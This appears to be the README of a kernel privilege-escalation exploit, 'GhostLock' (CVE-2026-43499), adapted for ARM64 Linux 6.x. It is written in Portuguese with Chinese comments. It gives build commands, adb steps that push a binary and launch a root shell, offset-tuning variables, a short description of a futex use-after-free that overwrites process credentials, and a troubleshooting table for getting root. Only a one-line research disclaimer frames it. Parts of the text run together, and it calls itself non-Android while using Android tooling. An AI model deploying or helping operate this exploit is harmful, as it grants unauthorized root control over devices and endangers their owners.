
GhostLock (CVE-2026-43499) adaptação para Linux não-Android 6.x ARM64
Exploração de elevação de privilégios do GhostLock (CVE-2026-43499) para kernels Linux 6.x ARM64 não Android.
| Item | Valor |
|---|---|
| Arquitetura | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| Versão do kernel | 6.x |
| SELinux | Sem SELinux |
| ashmem | Sem ashmem |
| configfs | Sem configfs |
make
make android-arm64 NDK=/path/to/android-ndk
Após o push, a compilação é acionada automaticamente; basta baixar o artifact.
# 推送到目标设备
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# 获取 root shell
adb shell /data/local/tmp/e --shell
# 调整 pselect 偏移 (如果默认值不工作)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# 指定物理加载地址
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
FUTEX_CMP_REQUEUE_PI aciona o UAF em remove_waiter()rt_mutex_waiter liberado cai no buffer stack_fdstask_struct->cred com init_credEsta versão é uma versão enxuta baseada em ghostlock-oneplus:
Esta ferramenta é apenas para fins de pesquisa em segurança. O usuário é inteiramente responsável por todas as consequências.
| Variável | Valor padrão | Descrição |
|---|
PSELECT_SHIFT | -2 | Ajuste de deslocamento do waiter pselect na pilha |
KPHYS | 0x80000000 | Endereço de carregamento físico do kernel |
KIMAGE_TEXT_BASE | 0xffffffc008000000 | Endereço base virtual do kernel |
| Sintoma | Causa possível | Solução |
|---|
| O dispositivo reinicia | PSELECT_SHIFT incorreto | Tente de -4 a +4, um por um |
| Sem efeito | KPHYS incorreto | Confirme o valor correto em /proc/iomem |
| perf_event_open failed | Restrição de seccomp | Tente executar via ADB shell |
| Sem root | Deslocamento incorreto | Confirme a versão do kernel, verifique TASK_CRED_OFF |